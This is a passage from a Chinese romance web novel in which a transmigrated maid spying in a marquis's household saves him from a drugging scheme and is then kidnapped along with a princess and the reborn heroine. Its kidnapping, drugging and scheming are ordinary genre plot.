夏清棠微滞,看到朔砚辞意味深长的目光,她反应过来,朔砚辞这是怕她这卧底当着当着,就被晏无咎哄骗的着了迷。 怎么可能。 “放心吧,三皇子,所以,我下个月的药能给我了吗?” “不能” “为啥” “……”这女人还敢跟她犟嘴了。 “三皇子,我主要是怕我日后真的日日呆在晏无咎身边,万一真的没有机会跟你联系,我这,又没有解药,万一真死了,我就算知道啥消息了,也没法儿告诉你了啊” 夏清棠诚恳的看着朔砚辞。 “哼!你最好真是这样想的” 朔砚辞丢给夏清棠一个瓷罐。夏清棠迫不及待地打开,一颗。夏清棠看着朔砚辞阴着一张脸,决定让他晚上睡不着觉。 按照原书剧情来看,这个时间啊,朔砚辞和朔千钰已经勾结在一起,谋划先把其它皇子干掉,两人再各凭实力竞争。 夏清棠突然走进朔砚辞,语气严肃。 “三皇子,昨日我看到四皇子悄悄搬了一箱东西进镇北候府,两人关系很是亲密” 朔砚辞双眼微眯,京城谁不知道,晏无咎是跟在朔千钰身后的一条狗,他们二人在一起不足为奇。 “继续盯着点,有任何消息随时汇报” “还有,把晏无咎那块贴身玉佩给我偷过来” 夏清棠:这人又开始憋阴招了。 “贴身玉佩?” “你知道的” 夏清棠头顶是大大的问号,她知道?可是在原主的记忆里,并没有什么关于玉佩的印象啊。 是她累着了,所以忘了? “主子,出事儿了” 夏清棠还疑惑呢,就进来一个人着急忙慌的对着朔砚辞低声说了些什么,然后朔砚辞就着急忙慌的走了。 “……” 夏清棠:那……这就可不能怪她给你拿错玉佩喽,毕竟年纪上来了,忘性大。 估摸估摸时间,估摸不出来,不知道满香楼那边怎么样了。京城朱雀大街满香楼。 平常只有贵客来往的满香楼门口今日不知是怎么了,熙熙攘攘聚集了一堆人,闹闹哄哄的。 夏清棠心一咯噔,莫名的紧张,不会是晏无咎出事了吧。 她疾步挤进人群,看到眼前的景象,松了一口气。 不是晏无咎。 是有人在满香楼前闹事儿,说满香楼的人仗着自己业大,收购了他们的菜,给的钱却和事先说好的额数对不上,少了足足有七成。 “啊!还让不让人活了” “我家中那八十岁老母和五岁幼儿还等着这点钱养她们啊” 那几人的哭喊声在楼前久久回荡,夏清棠趁着人乱,迅速钻进了满香楼。 夏清棠火急火燎的往二楼赶,也不知道那晏无咎现在中药了没,中了多久了。 就是在二楼,书中说晏无咎中药意识不清醒,被几人联手锁在二楼尽头一间包间,和那灵汐公主,晏无咎迷糊间看到衣衫不整的朔灵汐,他拿刀刺伤自己,打晕朔灵汐,但那药效太毒,他在往回跑的途中晕倒在半路,被人送往医馆,回到侯府后,连神医都没招了。 之后,就有了镇北候大将军不举的传言,传的沸沸扬扬。 晏无咎没少因为这事儿被人耻笑,夏清棠觉得,这可能也是之后晏无咎越来越变态病娇的原因之一。 夏清棠直接来到朔灵汐藏着的那个包间,耳朵贴在门上,果然听到男人急促的喘息声。 啪! 她猛地推开包间门,浑身正气凛然! 果然看到晕倒了的朔灵汐和斜靠在床边的晏无咎。 夏清棠慌忙的走近,果然看到晏无咎胳膊上有一道血痕,只是……这血痕是不是有点小了,书中可是描述晏无咎划得特别狠,血哗啦啦的流。 “侯爷,你怎么了,你受伤了?!” 夏清棠满脸担忧,双眼紧紧盯着晏无咎。 【这是…中药了?咋看着不像】 晏无咎发丝垂落,微微掩住些面容,让人看不清神色。 夏清棠还在思考,就听到眼前男人的喘息声更强了。 【好色,这男人喘起来也太色清了吧】 晏无咎喘息又停滞一瞬,微微收敛了些。 第七章辣眼睛 【睫毛好长好密,嘶!这是晕过去了?我可背不动啊】 夏清棠使劲儿摇了摇晏无咎的肩膀,声音洪亮,“侯爷!侯爷!晏无咎?醒醒啊,再不醒你就再也当不成爷们了!”。 晏无咎:“……” 服了。 “再不醒就只能掌掴了” 晏无咎:“咳咳!” 夏清棠双眸一亮,“侯爷快,快起来,我扶着你赶紧回府,不然你就再也当不成爷们了”。 晏无咎神情恍惚,踉踉跄跄的站起身,几乎整个身子都挂在夏清棠身上。 【重的跟头猪一样】 夏清棠驮着晏无咎,清晰的感受到晏无咎每一次喘息时温热的气体喷洒在自己耳廓,痒痒的。 夏清棠不自在的缩了缩脖子。 喘这么色情,晏无咎本质上不会是个闷骚男吧】 正在尽力减轻自己重量的晏无咎呼吸一顿,闷骚男?随即他看到夏清棠泛红的耳垂,坏心眼的勾起嘴角。 耳边的喘息声愈来愈…无法描述,夏清棠无力的闭眼,整个耳朵整张脸都烧得通红。 她在心里发誓,【迟早有一天要把这样的尤物压在身下狠狠玩弄】 晏无咎:色胆包天! 终于,在夏清棠找了一辆大板车后,在吱呀吱呀声中,把已经社死装晕的晏无咎给拉回侯府。 林木赶紧迎上来,声音担忧,“侯爷又中毒了?”。 夏清棠:家常便饭啊这是。 林木以最快的速度备好马车,晏无咎上了马车,夏清棠双眼发光,觉得有上去照顾晏无咎的必要。 林木一脸严肃,长臂横在夏清棠面前,“夏姑娘,请留步,你不必去”。 夏清棠眼里的光灭了。 眼睁睁看着马车扬长而去,留下一屁股尘土。 “啊啊啊啊!为什么不让我去” 我要见神医啊!呜呜呜呜…… 马车里的晏无咎丝毫不见方才中药迹象,他故作镇定,其实通红的耳廓已经背叛了他。 满香楼有马车偏偏不用,非得用拉菜的大板车把他拉回来,这女人绝对是故意想看他出丑! 听到马车外夏清棠的嚎叫声,晏无咎微眯双眼,居心叵测的女人,居然还想跟他形影不离,简直是痴心妄想。 这夏清棠到底是什么来头,今日这事儿还真又让她给说中了,若不是昨日派暗卫去暗中调查,今日,他怕是真又中招了,夏清棠咋说的来着,就当不了爷们了。 马车外,林木扬鞭策马,“侯爷,还去那里吗?”。 晏无咎:“不去,随便转一趟就回去” 夏清棠在门口伤心了一会儿,伤心自己错失见到神医的大好时机,就这会儿功夫,一则重磅新闻流进她的耳朵。 路人甲:“你听说了吗?今天发生那个事儿” 路人乙:“啥事啊?噢噢噢,你说四皇子那事儿啊” 路人甲兴奋加鄙夷:“天,没想到这高高在上的皇子有这癖好,不仅好男色,还喜欢多男同时进行” 路人乙鄙夷:“可不是嘛,那可是满香楼啊,那么多有头有脸的人,到底是哪个皇子啊,你说这脸可往哪搁” 路人甲低声凑近路人乙,“听说是si皇子……”。 夏清棠不可置信的眨眨眼,她全都听到了,四皇子?朔千钰,这么劲爆! 事实胜于雄辩,一辆明显摇晃的马车仓促的从夏清棠面前掠过,风吹起帘子,马车里的场景映入眼帘。 是几个交叠的裸男,夏清棠瞪大双眼,是朔千钰! 脏了脏了脏了,她的眼睛脏了。 夏清棠觉得有些不对劲儿,朔千钰怎么会在这个时候做这种事儿呢,莫不是…中药了?该不会被自己的子弹打中了吧。 奇了怪了,难道是她来了之后产生的蝴蝶效应吗? 夏清棠摇摇头,有点头晕,天色不早了,希望晏无咎早点回来,她得贴着续命。 “夏姑娘,你回来啦?哎呦,听说你今日个儿是和侯爷一道回来的” 夏清棠刚进了府,王嬷嬷就一路小跑迎了上来。 夏清棠目视前方,“嗯,对”。 王嬷嬷面不改色,“夏姑娘,你可真厉害啊,连侯爷这样不近女色的人您也能给拿下,这,我上次让你讲的事儿你有没有办成”。 夏清棠:“就是你让我吹枕边风,给你涨月钱的事儿” 王嬷嬷眼一亮,“对对对”。 夏清棠:“没办成,我现在连你家侯爷的枕边都去不了,我怎么吹枕边风,你以为我不想涨月钱” 王嬷嬷:“这……” 夏清棠:“王嬷嬷,这事儿还得你帮我” “你家侯爷是不是在外面养着外室啊,我看他日日乘着马车不知去哪” 王嬷嬷立马反驳,“没有,我在侯爷身边就没见过一直母蚊子,除了你”。 “那他日日这是去哪” 这王嬷嬷是真不知道,夏清棠理解你。 夏清棠:“俗话说,知己知彼百战百胜,我觉得我需要知道侯爷身边有哪些好友,若是能打入他们内部,那我给侯爷吹上枕边风的日子绝对指日可待” ”你说是不是啊,王嬷嬷” 王嬷嬷两眼放光:“对对对”。 …… 夏清棠从财迷精王嬷嬷那里打探到晏无咎身边确实有不少来往的人,但王嬷嬷不知道那是不是侯爷的好友。 只知道确实经常有人来寻侯爷,不是在书房和侯爷议事,就是驾马几人一道出去。 夏清棠轻叹一口气,还真是啥有用的也打听不到啊。 夏清棠百无聊赖的坐在院中,看着日头渐渐西落,她有些难受。 来到膳房,零散几个人看到夏清棠,王嬷嬷嘱咐过这是侯爷身边的红人,他们自然也不能拦着,便纷纷退到一旁,等着这红人大展身手。 夏清棠一阵翻箱倒柜的观察,为了体现她的贴心和对晏无咎的关切之情,她决定做红枣桂圆糯米粥。 又甜又暖胃。 天色渐暗,一辆马车悠悠停在侯府门口,晏无咎回来了。 回来就直奔书房,夏清棠熬的粥也好了。 咚咚咚! 晏无咎皱眉,“进”。 夏清棠柔着嗓子,“侯爷~我看你今日像是受了伤,这是我专门为你熬的粥,红枣桂圆糯米粥”。 晏无咎眉头稍稍舒展,饶有兴味儿的看着夏清棠,“端过来”。 夏清棠一喜,刚放下粥罐,正要趁此再走近些晏无咎。 一把长剑赫然就朝她袭来,夏清棠并未躲闪,清晰的感受到长剑抵在她的腰腹处。 晏无咎声音冰冷,“为什么不躲,你以为本侯蠢吗?不知道你能躲得过”。 夏清棠声音凄凄切切,“侯爷,我只是想来为您送口暖胃的粥,你为何…为何要这样对我”。 “若是因为我未经同意就跑出去府去寻你,那我甘愿受罚!” 夏清棠声音决绝,紧闭双眼,一滴滴清泪从眼角滑落,看着好不可怜。 晏无咎有一瞬间的恍惚,他唾弃自己,什么时候竟然变得如此心软! “你今日为何知道我在满香楼!” 第八章轻薄本侯 夏清棠颤着声音,极力克制住自己的啜泣声,“侯爷,说出来连我自己的都觉得荒谬,昨夜,我梦到你今日去满香楼,结果遭人暗算,身受重伤,今早我一起来,就担心你会出去,急忙寻你,却发现你早已经动身离府”。 夏清棠泪流满面,“我也不知道你是去哪,可我实在是担心你啊,情急之下,只能寻着梦境中的记忆跑到满香楼去寻你”。 “呜呜呜,侯爷,现在看到你好好的,我就放心了,任你骂任你罚,我都心甘情愿” 心甘情愿,晏无咎细细咀嚼这几个字,这个女人嘴里到底有几句真话。 晏无咎收回长剑,“这么说,本侯还得感谢你”。 “都是我心甘情愿,不求回报” 晏无咎许久没有回应,夏清棠悄悄抬眼,看呆晏无咎眸光落在那粥罐上。 夏清棠暗道,是她展示的时候了,感情升温最后的办法就是肢体接触,更何况,她现在确实急需肢体接触。 夏清棠端起那罐粥,打算绕过书桌走近晏无咎,“侯爷,这粥是红枣桂圆糯米粥,不仅是甜口,还暖胃补身子呢”。 “侯爷,让我来伺候你用粥” 粥罐直愣愣摆在晏无咎面前,夏清棠直愣愣站在晏无咎身旁,弯腰正要持勺亲手喂给晏无咎。 晏无咎脸色一黑,“去一边站着,本侯自己会喝”。 夏清棠憋着痛呼,她现在必须摸到晏无咎。 【让我摸摸你能少块儿肉吗?死抠死抠的,今日个儿我必须摸到你!】 晏无咎暗道,这女人果然又欲图不轨。 夏清棠眼一闭,心一狠,左脚拌右脚,“啊!侯爷,我头怎么这么晕”。 晏无咎此刻已经起身,听到惊呼声条件反射的向后看去,一道身影朝他扑来,他瞳孔瞬间瞪大,想往后退,却左脚拌右脚。 噼里啪啦! 砰! 两双眼睛惊恐的瞪大,事情怎么会发展成这个样子! 一阵阵的香甜气息往鼻孔里钻,唇上是绵软的触感,晏无咎又恍惚了,他一定是在做噩梦吧,不然怎么会和夏清棠这个妖女亲上。 夏清棠惊恐的闭上双眼,装晕,她怎么就把晏无咎给压身底下了,还嘴撞上嘴了,不过,夏清棠动了动唇,感觉这样缓解痛苦的效果更佳是怎么回事。 【好像嘴碰嘴,身上更舒服哎】 晏无咎回神,这个女人居然在装晕,还趁机吃他豆腐。 晏无咎后槽牙咬的嘎嘣响,狠狠把夏清棠推到一边的地上。 【……】 晏无咎站起身,拍拍身上不存在的灰,声音冷沉,“夏清棠,起床,这里不是让你睡觉的地方”。 夏清棠:“……” 【谁睡觉了谁睡觉了,看不到我晕倒了,一点都不懂得怜香惜玉,亏我还去救你,还给你熬粥】 【话说,晏无咎这次中药应该是被及时就救治了,也不知道到底还行不行】 晏无咎冷哼一声,一屁股坐在椅子上,悠闲的把夏清棠熬的粥一饮而尽,余光瞥到夏清棠,他拧眉。 这女人真是…真是…他不知道该说什么。 紧闭双眼的夏清棠还沉浸在亲了一口后现在浑身不疼的舒爽中,忽而感觉有力的双手抱起自己,在移动。 【嘿,晏无咎良心发现了】 夏清棠心安理得窝在晏无咎怀里。 【保命的不可多得的机会,增进感情不可多得的机会啊】 咚! 一声闷响,夏清棠被扔到了她的塌上,还好,是她温柔的被子上。 【小炮灰在此谢谢大反派,小的先睡了】 呼呼呼—— 晏无咎站在床边,眸光细细描绘夏清棠的脸颊。 咚咚咚! 晏无咎猛地抽离视线,他心跳怎么这么快,这妖女下毒了? “哎!夏清棠——起床,夏大丫鬟!你来这我侯府是当主子的还是当奴才的,起来伺候我沐浴!” 他必须得好好磨磨这个女人。 【不听不听不听,睡着了】 晏无咎嘴角勾起一抹恶劣的笑,他猛地抽掉夏清棠身下的被子,夏清棠在她那不大的床上憋屈的滚了一小圈,依旧装睡。 “哼,本侯得考虑考虑是否要把你发卖了” 夏清棠:?! 夏清棠悠悠转醒,看到晏无咎,她错愕又愧疚,“侯爷,实在对不住,想来是我这几日太累了,一不小心晕倒了,我现在立刻起床伺候你”。 晏无咎轻嗤一声,意味深长的看着夏清棠,“你知道你干了什么蠢事儿吗?”。 夏清棠:“不知” 晏无咎:“你刚才晕倒轻薄了本侯,你的唇碰到了我的唇!” 夏清棠:“……” 晏无咎轻飘飘丢出一句话:“这个月月钱扣一半”。 夏清棠:“……” 【……】 【我…哎!我…不是…你…算了,没话讲】 晏无咎余光瞥到夏清棠憋红了脸也没吐出一句话,忽而感觉心情很奇妙,他颇有些得意的扬了扬眉,等她下次再亲他的时候,他一定要狠狠的咬回去,让这妖女知道招惹了他的下场。 “给本侯备好水,准备伺候沐浴” 冷冷丢下一句话,晏无咎大步走出夏清棠的屋子,迎面遇到的是林侍卫八卦的目光。 林木急忙躲闪目光。 晏无咎:“下次再乱看,就去和暗一换换班” 林木立刻正气十足:“是,主子”。 夏清棠走出去,“林侍卫,侯爷让我伺候他沐浴,请问侯爷的盥洗室在哪儿”。 林木虎躯一震,看来主子这次是真开窍了,他第一次见主子允许女子近他的身,林木抹了两把不存在的泪,真心为主子感到欣慰。 夏清棠:晏无咎不正常,怎么感觉晏无咎身边的侍卫也有点……奇怪。 林木回神,“夏姑娘这边请”。 夏清棠有点惊讶,这就是晏无咎洗澡的地方啊,一个空屋子里面放了个大木桶,她还以为跟里讲的一样,是超级大温泉或者一整个大池子。 夏清棠咋舌,书中确实提到过晏无咎这是把钱都投给边境了,可是这样的人,最后却被安了个通敌叛国的名头吗? 夏清棠心情有些复杂,不知道这该不该用“值不值”来谈论这件事。 她摇摇头,甩掉脑海中不合适的想法。 第九章险些被骗 一切准备就绪,就等晏无咎来洗澡。 夏清棠无聊的站在盥洗室一角,回忆着书中剧情,她现在只恨当初看的不够仔细,这件事告诉我们,看遇到一样的名字,请一定要精读这本。 切记哦。 吱—— 晏无咎进来了,身上只松松垮垮的穿着一件中衣,看到夏清棠乖乖的站在一角,晏无咎挑眉,他倒要看看他沐浴,这女人又能搞出什么花样儿来。 晏无咎走到浴桶旁,就要着手褪下中衣,发现身后女人的视线居然直溜溜的。 他不喜皱眉,这女人不会看到个身材好的男人就直溜溜的盯着吧。 真是不知羞。 晏无咎从容褪下中衣,大脚迈入浴桶。 “过来,别跟个木头似的杵在那儿” 夏清棠跟个木头似的的挪过去,活了第二辈子了,居然伺候上人洗澡了,没当上人上人,倒是混成人下人了。 夏清棠举起一旁林木不知道从哪儿薅来的花瓣儿,尽数倒入木桶。 扑鼻的花香袭来,晏无咎掀眉扫过水面上满满的花瓣,这女人是嫌他身上不香?搞这么多能腻死人的花瓣。 他皱皱眉,没说话。 夏清棠又拿起葫芦瓢,一瓢瓢的往晏无咎身上浇水。 夏清棠思绪飘远。 【真神奇,这次只不过跟晏无咎亲了一下,效果居然能持续这么久】 “夏清棠,你还没告诉本侯拦截抚恤银和粮草的人是谁” 夏清棠一时嘴快:“你不是不信吗?” 晏无咎耳背:“嗯?” 夏清棠声音愧疚:“侯爷,请侯爷原谅我,都怪我太想留在侯爷身边了,竟然拿道听途说的事情来威胁侯爷,都是我的错”。 晏无咎:“哦?这么说,全都是在骗本侯,你并不知道是谁” 夏清棠犹豫不决:“侯爷,虽然这只是我偷听到的,但我确确实实听到那人的名字了,我只是…只是怕说出来,你说我坑骗你” 【就算我知道,我若真说出了是你好兄弟朔千钰搞得,你会信吗?你这蠢猪脑子会信吗?就凭你这蠢猪脑子怕是会第一个跳起来杀了我吧,我敢说你敢听吗?】 晏无咎微眯双眸,朔千钰吗?倒是和无影阁查到的消息一样。 晏无咎轻笑,“本侯自有本侯的判断力,你说吧,就算说得不称本侯的心意,我也不会怪罪与你”。 夏清棠突然哭了,一双细手轻轻的抚在晏无咎的肩膀处,颤着声音,“侯爷,实不相瞒,自我听到这不光彩的事情后,就一直想找机会要告诉你,却害怕你把我当成骗子赶出侯府”。 晏无咎眸光闪烁,演,这女人又开始演了。 夏清棠继续抽抽噎噎,“上次你生辰宴,王嬷嬷把我安排在你身旁伺候,天知道我当时有多开心有多荣幸,侯爷你可是万人敬仰的大将军啊,却没想到有人行刺,还好…还好我学过些武功,侯爷,你知道我有多开心吗?我居然挡在你身前救了你”。 不知道什么时候,夏清棠从晏无咎身后移到了晏无咎身旁,一双杏眼儿溢满了泪水,在烛火的映照下一闪一闪,隐隐透着些狡黠。 晏无咎承认,这个女人的演技确实很好,仅凭一双眼睛就险些骗过他。 晏无咎哆嗦了一下,这女人演的好好的,干嘛把手放在他肩膀上,他轻轻一扒拉,推下夏清棠的手。 夏清棠一瘪嘴,满脸受伤,眼泪哗啦哗啦的流,“侯爷,我当时好开心,我鼓起勇气告诉你我知道那件事,虽然没得到你的信任,但是你居然把我安排在了墨韵院,能离你更进一步,我真的没白活”。 晏无咎别过脸,这女人那么多泪水到底从哪来的,这么能哭,他语气冷硬,“别哭了”。 夏清棠声音小了一点,抽抽噎噎的,听着更可怜了。 晏无咎抿唇,“别哭了,就算我不信你,我也不会罚你,更不会把你赶出侯府”。 夏清棠破涕为笑,“侯爷你真好”。 晏无咎:“你快说” 夏清棠目光又带上担忧和可怜同情,她闭了闭眼,好似破罐子破摔一般,“是那四皇子”。 晏无咎不意外,没吭声,转眼又看到这女人一副视死如归的表情,晏无咎嘴角忽地勾起一抹笑,“怎么?还没哭够?哭,使劲儿哭”。 夏清棠沉默了一瞬,没理混账晏无咎,只是面上又带上忧愁,她犹豫着开口,“只是…只是我还有一事……” 晏无咎好整以暇的看着夏清棠,语气带着不易察觉的笑意,“说”。 夏清棠声音放低,逼近晏无咎耳朵:“我时常感觉有人跟着我,侯爷,我总觉得是有人知道我听到那事儿了,想杀了我”。 晏无咎觉得耳朵痒痒的,声音不自觉放轻,“那你觉得该如何?”。 夏清棠:“侯爷,我觉得待在你的身边最有安全感,我可不可以…可不可以时刻跟在你身边”。 晏无咎语气听不出来喜怒,“不可!”。 “身边整日跟着一个女子,像什么话” 夏清棠极力自荐:“侯爷,我会武功,你知道的,我可以当你的侍卫,绝对不会拖后腿”。 晏无咎有些不耐,这女人脑子里到底装的什么,不知道到底有多少人想杀他吗?居然还敢自荐当他的侍卫! 晏无咎:“滚一边儿去” 夏清棠沉默了,退到一旁,她都说到这份上了,晏无咎居然还是这么油盐不进。 晏无咎面色突然泛起冷意,他现在很烦躁,这女人低着头在干啥,她脑子里现在到底在想什么,心声呢?刚才为什么一下都没听到。 最终,晏无咎还是在夏清棠身上牢牢打下居心叵测四个大字。 夏清棠忧郁的侧躺在床上,面对着墙壁默默流下今晚最真诚的两行清泪。 她口中念念叨叨,骂骂咧咧,丝毫没注意到身后窸窸窣窣的细微声响。 “唔!” 未来得及出口的呼喊声被死死捂住,夏清棠急忙屏住呼吸,却迟了,迷药的作用太强了,她还是晕过去了。 “是这女人吗?” “肯定是啊,都住晏无咎院子里,还能是谁的女人,快撤!” “哈哈,今晚绑的女人可真不少啊” 夜色掩盖下,几个黑衣人一夜奔波,一抗一麻袋一抗一麻袋,抗了好几麻袋。 第十章女主 夏清棠意识稍恢复些的时候意识到自己正在一辆高速颠簸的破旧马车上,眼睛被蒙上,身边此起彼伏的呼吸声,让她知道被绑的不只有她一人。 难道是集体性的拐卖?不对,冒着风险跑进镇北候府里去绑她,并且还知道她住在那里,这明明是一场蓄谋已久的绑架! 合着不是图才也不是图色,是图晏无咎啊。 呵呵,视线又开始模糊,夏清棠骂骂咧咧的又晕过去了。 不知道马车走了多久。 砰!砰!砰! 一声声重物落地的声音,夏清棠被砸醒了。 一道凌厉的女声响起,“如何,都绑过来了?”。 又是一道混不吝的男声,“去他的狗皇帝,皇宫戒备到是不怎样,就是那皇后住所看得倒是严,根本近不了一点身”。 “去他的狗皇帝,早晚有一天老子要把这狗屁的朔耀王朝一锅端了!” “嘿,江汐汐,你知道吗?这居然是晏无咎的女人,神奇不神奇” 混账的男声不仅稀奇,还恶劣的上脚踢了踢夏清棠。 夏清棠:“……” “啊啊啊啊啊!哪个狗东西竟然敢绑本公主!还不快来给本公主松绑!” 尖锐爆鸣的喊叫声让整个环境都静了一分。 辜战不耐烦的轻啧一声,“啧,叫什么叫,把老子耳朵震聋了第一个就杀了你”。 朔灵汐被蒙着眼睛,视线一片黑暗,她喊叫的声音收敛了点,“我可是朔曜王朝的公主,你快放了我,想要什么我父皇都会给你的”。 夏清棠屏住呼吸,公主?还这么横,肯定是书中那个朔灵汐。 一直站着冷眼看着的江汐汐突然蹲下身子,一把扯下朔灵汐脸上的黑布,“就你,信不信你消失了,你的狗父皇很开心啊”。 突如其来的亮光让朔灵犀不适宜的眯起眼睛,眼前的男人和女人都蒙着面,她认不出是谁,这可怎么办,等她出去了,可是要抓到这俩人将其五马分尸的。 “喂!快把本公主放了,我绝对不会告诉我父皇” 江汐汐看着这女人这副欠揍样儿,手起手落。 啪啪! 两巴掌,爽了。 辜战摇摇头,还得是他汐姐猛啊。 朔灵汐绵了,虽然眼神还是喷火的,但嗓子没音儿了,她双眼死死盯着眼前这女人,等她出去了,一定要把这个女人的脸皮扒下来。 江汐汐直起身子,“行了,走吧,她们先放这儿”。 房门上锁,两人在门口嘱咐了声守门儿的。 脸上黑布已经松散,夏清棠挤压面部五官,摇头晃脑的,终于重见光明。 一睁眼就看到朔灵汐要吃人的目光,“喂,快过来用你的嘴给本公主松绑”。 夏清棠视而不见,“切”,同是落水狗,谁也不比谁高贵,她可不捧着你。 记得书中,这女人对晏无咎有着近乎于变态的占有欲,有一段剧情是朔灵汐在晏无咎府上看到原主这样年轻又姿色不错的丫鬟,心生不满,好几次要把原主给要过去当丫鬟,说来,解决这事儿的居然是朔砚辞,生怕她这个好不容易潜伏进去的卧底被弄走了。 “这位妹妹,可否帮我把布给咬下来” 一道柔柔的女声从夏清棠身后传来,夏清棠看过去,是一位长相清丽的温婉女子。 夏清棠心生好感,“当然可以”。 “苏菀姐姐?” 夏清棠心一咯噔,看向眼前的女子,苏菀?书中女主? 苏菀温柔一笑,“灵汐公主,好久不见”。 朔灵汐脸色有些难看,那岂不是刚才她被扇巴掌,这女人就在旁边听着,可恶,居然被这女人看笑话了。 朔灵汐:“昨日我皇兄还念叨你来呢,苏菀姐姐,那件事真的是误会,你一定要相信我皇兄啊” 苏菀娇羞一笑,“我知道的,你皇兄已经向我解释过了,我相信他的”。 夏清棠竖起耳朵听两人交谈,感叹不愧是女主和恶毒女配,这蒙着眼睛绑着绳呢还能这么悠闲的聊天。 不过?苏菀现在是重生了一段时间没错,只是…按照书中剧情来说,这个时间段,苏菀还没和朔千钰正式接触啊,听这两人谈话,怎么像是已经谈了有一段时间的样子。 苏菀看着眼前朔灵汐眼里毫不遮掩的蔑视,轻蔑一笑。 今世,她绝对不会再任人宰割了。 没错,她重生了。 前世,她被情爱蒙蔽双眼,堂堂丞相府嫡女竟然被一个书生哄骗,两人私定终生,一起私奔,却被抓住,名声被毁,父亲也对她失望,同意了她下嫁,婚后那书生考取功名,父亲终于肯正眼看他们一眼,在她的苦苦哀求下,父亲终于同意在朝堂上为那书生铺路,而她则在家中专心操持家事,可是,最后呢,那书生竟是个狼心狗肺的,站上了高位却反过来对她们赶尽杀绝。 她被流放,惨死途中,死后魂魄在京城上空飘了两年,看到那负心汉稳坐丞相高位,她恨啊,可是没办法,直到她看到那个男人,朔千钰登上皇位,杀掉了那负心汉,甚至还为她们丞相府正名,她哭了。 重活一世,她一定要把那负心汉扼杀在摇篮里,再好好爱朔千钰,她要凭借前世所知道的帮助朔千钰尽快登上皇位,到时,她就是最风光的皇后。 苏菀眼里迸发出惊人的亮光。 朔灵汐皱眉,这个女人发什么神经,真是上不得台面的东西。 “苏菀姐姐?苏菀姐姐!你在想什么?” 苏菀猛然回神,她摇摇头,“想…想我们怎么逃出去”。 夏清棠松了一口气,女主都在这儿了,她还怕啥,先躺一躺,歇一歇。 环顾四周,被绑的除了她仨,剩下的几个人她一个也不认识,不过看衣着气质,就知道家世都不一般,联想到刚才那俩劫匪说的话,看来是和着朔耀王朝有大仇啊。 与她无关,她被绑了是托了晏无咎的福了。 朔灵汐:“苏菀姐姐,你想到要怎么逃出去了吗?” 苏菀摇摇头,“灵汐公主,你先别心急”。 夏清棠闭着眼躺草垛上,好像书中是有一段剧情,女主和朔灵汐都被绑了,之后绑匪所在的山头不知道是何原因发生了混乱,女主带着朔灵汐逃出去,因着这件事,女主还得到不少人的刮目相看。 应该不会发生什么变数吧,她这个多出来的人应该算不上变数。 先等等,看看混乱的时候能不能蹭着逃出去。 朔灵汐很不爽,凭什么这个女人一点都不慌,她的厌恶被苏菀尽收眼底。 苏菀扯了扯朔灵汐的袖子,凑近朔灵汐耳边,悄声细语,“公主,我想到法子了……”。 一个既能讨这公主的欢心又能安全跑出去的法子,何乐而不为呢,一个丫鬟而已,死了也不会有人在意的。 第十一章江汐汐 朔灵汐越听眸光越亮,她嘴角勾起一抹充满恶意的笑容,“苏菀姐姐,你可真是我的好姐姐”。 夏清棠一听这话,眼珠子转了转,女主发力了女主发力了,跟着女主有糖吃。 直到—— 她察觉到朔灵汐恶意满满的目光落在她身上,苏菀担忧关切又略含歉意的目光也落在她身上。 “……” 她有种不好的预感。 下一秒。 “地上躺那个,给本公主过来,本公主发现你居然是最合适的人选” 夏清棠:“……不,我不是” 夏清棠下意识地看向苏菀,却看到苏菀担忧关切地目光中隐含的一丝丝恶意。 朔灵汐冷笑一声,“我看你身上穿的应该是丫鬟服吧,你看看周围这几个人哪个不是非富即贵,你若是能救了我们,就算你死了,你也是光荣的死”。 “毕竟,你救得可是我们这些身份尊贵的人哎” 周围几人默不作声,对未知恐惧的害怕几乎要侵蚀她们的理智,若只死一个就能让她们出去,何乐而不为。 夏清棠心中冷笑,面上却带着浓浓的不可置信,“公主,那若是我死了,那下一个出去冲锋陷阵的……”,夏清棠剩下的话并未说出口,只是意味深长的扫视过一旁站着的几位女子。 话音一落,周围几人看朔灵汐的眼神就变了,各自揣摩着心思,悄悄打量着周围人。 苏菀心下稍惊,她仔细看着夏清棠的面容,回忆前世有没有这样一个人物,可是夏清棠的脸上满是灰土,头发还凌乱的遮挡了她不少面容,她实在是看不清。 苏菀:“这位姑娘,请问你叫什么名字家在何处,若是你死了,我们也好…也好为你置办后事” 夏清棠暗想,前世原主和女主也没交集啊,女主这是发力了?利用能利用的一切? 夏清棠睁着眼就是瞎说,“我失忆了,我不知道”。 朔灵汐更猖狂了,恶意满到要溢出来了,“原来还是个无籍之民”。 “必须你去!你去把守门的给引开,还有拿你的嘴来把我们的绳子给解开” 这一番话说的真是好理直气壮。 夏清棠无语的翻了个白眼,“我有病,传染病,靠近公主你怕损坏你娇贵的千金之躯”。 “什么?!你居然有病,滚滚滚,离本公主远点” “你,就你!过来给本公主把绳子弄开” 朔灵汐随意的指了一个女人,她想反正这里面肯定没她厉害的。 苏菀意味不明的看着这一切,真是好一个蠢公主,至于这个女人,她眼神落在夏清棠身上,没什么印象,想来不过是一个有点小聪明的丫鬟,不足为惧。 被指到贵女看上去有些胆小,不敢反抗,诺诺的上前,两片嘴唇都磨破了,才把朔灵汐的绳子解开,紧接着,苏菀绳子也解开了。 朔灵汐满意的点点头,把这贵女的绳索解开,鼻子一哼气儿,“本公主解开你绳子了,现在,你去把门口的守卫引开”。 低垂着头的少女没有吭声,无声的反抗。 苏菀拉住又要发疯的朔灵汐,脸上依旧是挂着柔柔的笑,“这位姑娘看着有些眼生,令尊大人在何处高就?说与我二人听听,日后说不定可以帮得上忙”。 少女面上瞬间血色全无,颤着嗓子,“我…我知道了,我会去引开他们的,求公主殿下不要怪罪我父亲”。 朔灵汐满意了,苏皖浅笑,又在朔灵汐耳边低语几声。 朔灵汐:“你去把她们都解开,然后,你把门口那俩人引进来,你和你把那俩守卫敲晕,懂?” 几人虽有怨言,却还是乖顺的点头。 夏清棠冷眼在一旁看着朔灵汐,被当枪使了,还乐呵呢,不过也是活该! 朔灵汐又突然发难,指着夏清棠,“把她给我绑严实!”。 夏清棠看着走向她的人,双手已经在背后准备好。 宋玉竹走到夏清棠身后,看到夏清棠手腕上已经松懈的粗麻绳,她没做任何表情。 夏清棠正要动作,却发现身后的少女根本没有动作,只将麻绳虚虚的掩在她身上。 下一瞬,突然出现的场景让夏清棠瞳孔骤缩,这姑娘并未按照朔灵汐的计划行事,而是近乎自杀式的举着木棍冲出去,发了狠的死命敲晕在门口玩忽职守,饮酒说话并且已经显然有了醉意的两名守卫。 场面瞬间混乱,屋子里的姑娘乱了理智,只知道这是个好时机,纷纷蹿着跑出去,夏清棠刚跑出门口,就听到了号角声。 跑! 